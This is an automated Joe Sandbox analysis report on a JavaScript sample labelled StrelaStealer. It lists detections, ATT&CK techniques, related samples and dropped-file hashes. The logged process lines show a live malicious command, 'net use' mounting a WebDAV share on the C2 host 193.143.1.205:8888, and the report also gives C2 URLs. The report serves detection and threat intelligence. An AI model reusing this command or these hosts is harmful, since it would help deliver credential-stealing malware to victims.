Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
244188544238313090.js	16%	ReversingLabs	Script-JS.Trojan.StrelaStealer
244188544238313090.js	13%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/ad	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/ed	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/space.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3350902914.00000225A5800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2132908439.00000225A5620000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/ad	net.exe, 00000007.00000003.2131976442.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133138345.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/ed	net.exe, 00000007.00000003.2131976442.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133138345.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2133138345.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2129666686.000001F2B74A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space.	net.exe, 00000007.00000002.2133010394.000001F2B7458000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588957
Start date and time:	2025-01-11 07:37:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	244188544238313090.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 162.159.61.3, 172.64.41.3, 184.28.90.27, 199.232.214.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 52.149.20.212, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:38:47	API Interceptor	26x Sleep call for process: powershell.exe modified
01:38:51	API Interceptor	1x Sleep call for process: net.exe modified
01:38:51	API Interceptor	2x Sleep call for process: svchost.exe modified
01:39:04	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	820716203646129861.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1418132746179806359.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2449715899306403241.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	131612862076531181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307184488388604
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugI:gJjJGtpTq2yv1AuNZRY3diu8iBVqFy
MD5:	B194CB2CEB42238FE173EC408AA5455D
SHA1:	4C1D2F31CA81B3287FF1DE0D1E67D8276036E51B
SHA-256:	96106FD9F307A13D269BDEE3B6DB460CA439BA3C52B89A93D0EA3026073401FB
SHA-512:	E8F09F5343A863AB3FE9CD1B36E9C7EE42E18DF03398AC40AFE52DF2F6819539CED5063B8D400F24DF9A6217926D1FC202FD6C2EBBEC47C652B27AF216DD37CB
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xeb688aa7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585733807806242
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	4D81D6EF88592963AF9F103948C0E5A1
SHA1:	CF5A17CCB930DBAF163AE0B9BFB7ED6EDCB7FE6F
SHA-256:	12956AD5201AC378EDA9675C054B5D5C9616F6EB8BBCCC765CCEF78E9C8FA5DA
SHA-512:	D5C688DAE93AA3F36C1DA3043907E4187E6604DA3BA934FB5F89B3002E7757CDB7D62B8AFDD8D8945B667581D315130DA8ECC619DCFB0A979AFE55265A6D1F94
Malicious:	false
Preview:	.h..... ...............X\...;...{......................0.z..........{..3&...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................,...3&...}..................7.\|.3&...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08096041285605929
Encrypted:	false
SSDEEP:	3:xZmltEYehTAkGuAJkhvekl1lXMAllrekGltll/SPj:ul6zhvrxlbXMAJe3l
MD5:	7B3AB0F91361E76F2DE9582A5B266FB0
SHA1:	003873964412C674841D82062D71DEAF9B65DB52
SHA-256:	2E5478F0C9588EB42B5DDF8567155CFDC9ABB7D5A1EEC4EB5FBFDF793923DF6A
SHA-512:	755A9E47CDEBA72D02F65A0563C6DF591C28F5A0FEF4B4BCB1CEE66D27A5A2C2058B72A18229AA213C155F23978459FF2603E4FA5B8BEE19756F8C1B19F5C54E
Malicious:	false
Preview:	..V......................................;...{..3&...}.......{...............{.......{...XL......{..................7.\|.3&...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.179978657660758
Encrypted:	false
SSDEEP:	6:iOnH6t+q2P92nKuAl9OmbnIFUtF4ZmwrIVkwO92nKuAl9OmbjLJ:7naov4HAahFUtF4/rg5LHAaSJ
MD5:	5E7345C08662D85E530835531F640AF2
SHA1:	1F08708D0954F2DAE2409B30285E9CF3A3689127
SHA-256:	64A647B3CD48C7CBC3A005E241C222B2FC94F7839771C8D7C907122E1C542B30
SHA-512:	747498851CDA2A3242DA19DF6975CAE848CDA5981B230D51E67532BF0DBFE83F4138DFC2C4E5E87EC557CBE0329AEC64BAF6C545261BDB8DD7F9CD80A5450B9E
Malicious:	false
Preview:	2025/01/11-01:38:51.565 1a68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:38:51.567 1a68 Recovering log #3.2025/01/11-01:38:51.567 1a68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.179978657660758
Encrypted:	false
SSDEEP:	6:iOnH6t+q2P92nKuAl9OmbnIFUtF4ZmwrIVkwO92nKuAl9OmbjLJ:7naov4HAahFUtF4/rg5LHAaSJ
MD5:	5E7345C08662D85E530835531F640AF2
SHA1:	1F08708D0954F2DAE2409B30285E9CF3A3689127
SHA-256:	64A647B3CD48C7CBC3A005E241C222B2FC94F7839771C8D7C907122E1C542B30
SHA-512:	747498851CDA2A3242DA19DF6975CAE848CDA5981B230D51E67532BF0DBFE83F4138DFC2C4E5E87EC557CBE0329AEC64BAF6C545261BDB8DD7F9CD80A5450B9E
Malicious:	false
Preview:	2025/01/11-01:38:51.565 1a68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:38:51.567 1a68 Recovering log #3.2025/01/11-01:38:51.567 1a68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.152734378469131
Encrypted:	false
SSDEEP:	6:iOnEF4q2P92nKuAl9Ombzo2jMGIFUtFcGrJZmwrcGrDkwO92nKuAl9Ombzo2jMmd:7nEF4v4HAa8uFUtF7J/r7D5LHAa8RJ
MD5:	11416F5CDBF95C2B969C91659BDFE079
SHA1:	B2EA7D66310ADB76BF263ADE53F6054EFA9B161B
SHA-256:	E4A81295CD6E97A264B461A7EB5FD9AF1814685CCBC003E8F07915F402503A2D
SHA-512:	73A3CBAD7CF2293EC9356BF15B60BD8D85BE1C5BA6D0D8E6F76D866F49F93E99135DD4F86220FDD8175C696C7B17B9DF1BF242DB15F5486560BC92D452A2D612
Malicious:	false
Preview:	2025/01/11-01:38:51.660 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:38:51.661 1cb4 Recovering log #3.2025/01/11-01:38:51.661 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.152734378469131
Encrypted:	false
SSDEEP:	6:iOnEF4q2P92nKuAl9Ombzo2jMGIFUtFcGrJZmwrcGrDkwO92nKuAl9Ombzo2jMmd:7nEF4v4HAa8uFUtF7J/r7D5LHAa8RJ
MD5:	11416F5CDBF95C2B969C91659BDFE079
SHA1:	B2EA7D66310ADB76BF263ADE53F6054EFA9B161B
SHA-256:	E4A81295CD6E97A264B461A7EB5FD9AF1814685CCBC003E8F07915F402503A2D
SHA-512:	73A3CBAD7CF2293EC9356BF15B60BD8D85BE1C5BA6D0D8E6F76D866F49F93E99135DD4F86220FDD8175C696C7B17B9DF1BF242DB15F5486560BC92D452A2D612
Malicious:	false
Preview:	2025/01/11-01:38:51.660 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:38:51.661 1cb4 Recovering log #3.2025/01/11-01:38:51.661 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.051963888937989
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZRP8sBdOg2Hvcaq3QYiubxnP7E4T3OF+:Y2sRdsiR5dMHe3QYhbxP7nbI+
MD5:	32D0E41F764548E2B9F719DC0FFDDF2B
SHA1:	A582AD6290F337FCB6AF0832A1ECC143BE043DCE
SHA-256:	6FC4D7C88CA7D04A99D364F6E2A6AEC9C49E23E745E82DD4563B57426289EC10
SHA-512:	3A7BC29D892FA4A0EA0BBDBD6565CD20A46857648A727D2BF3575A3C3B962454AF68966FD155AEEAACDEF616E1B400E07DB8974D65CF54B613B288172F598494
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381137544195830","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139462},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b3ce2c68-9ec3-465b-b152-416ad8981533.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.051963888937989
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZRP8sBdOg2Hvcaq3QYiubxnP7E4T3OF+:Y2sRdsiR5dMHe3QYhbxP7nbI+
MD5:	32D0E41F764548E2B9F719DC0FFDDF2B
SHA1:	A582AD6290F337FCB6AF0832A1ECC143BE043DCE
SHA-256:	6FC4D7C88CA7D04A99D364F6E2A6AEC9C49E23E745E82DD4563B57426289EC10
SHA-512:	3A7BC29D892FA4A0EA0BBDBD6565CD20A46857648A727D2BF3575A3C3B962454AF68966FD155AEEAACDEF616E1B400E07DB8974D65CF54B613B288172F598494
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381137544195830","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139462},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236553608574587
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUVI7v5:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLx
MD5:	7E3E1E75E662E930504937E885CC50E6
SHA1:	26B38B4FCC77437D61AC76F34FE6F49681B0BBBB
SHA-256:	641798AC11AEDE50A5985A88EBEF24F7B1AAF0588FE1E8F83D948936646CF4FD
SHA-512:	123CEAC1812ED2022D003C9971A4808690ABCCBD6B511CDB2CC1961534DBECCEE180AB54ECE592E7BBCA85082BEF08CF5ECE0F583470EFB85B47D985751DB44E
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.17572778082379
Encrypted:	false
SSDEEP:	6:iOn4W4q2P92nKuAl9OmbzNMxIFUtF13JZmwrFNDkwO92nKuAl9OmbzNMFLJ:7n34v4HAa8jFUtF9J/rFND5LHAa84J
MD5:	791177E204488481485AE24890D2DC1D
SHA1:	F4245C7BE0C154A39E43F93204647F030B11A714
SHA-256:	CD92B8378300A8FC64D41F74E25C1C9F5DD5879B19721190E7ADB3236E0D179D
SHA-512:	45A07FC3DF57CF72E1184913E5D4F6CCCACFAC5B80DE99FA0F888FD3D57BC9282F87A2D3D025C08D9C929B7C862FE80A52146C5620B269CFCAFC2BC94E38D510
Malicious:	false
Preview:	2025/01/11-01:38:51.827 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:38:51.829 1cb4 Recovering log #3.2025/01/11-01:38:51.830 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.17572778082379
Encrypted:	false
SSDEEP:	6:iOn4W4q2P92nKuAl9OmbzNMxIFUtF13JZmwrFNDkwO92nKuAl9OmbzNMFLJ:7n34v4HAa8jFUtF9J/rFND5LHAa84J
MD5:	791177E204488481485AE24890D2DC1D
SHA1:	F4245C7BE0C154A39E43F93204647F030B11A714
SHA-256:	CD92B8378300A8FC64D41F74E25C1C9F5DD5879B19721190E7ADB3236E0D179D
SHA-512:	45A07FC3DF57CF72E1184913E5D4F6CCCACFAC5B80DE99FA0F888FD3D57BC9282F87A2D3D025C08D9C929B7C862FE80A52146C5620B269CFCAFC2BC94E38D510
Malicious:	false
Preview:	2025/01/11-01:38:51.827 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:38:51.829 1cb4 Recovering log #3.2025/01/11-01:38:51.830 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
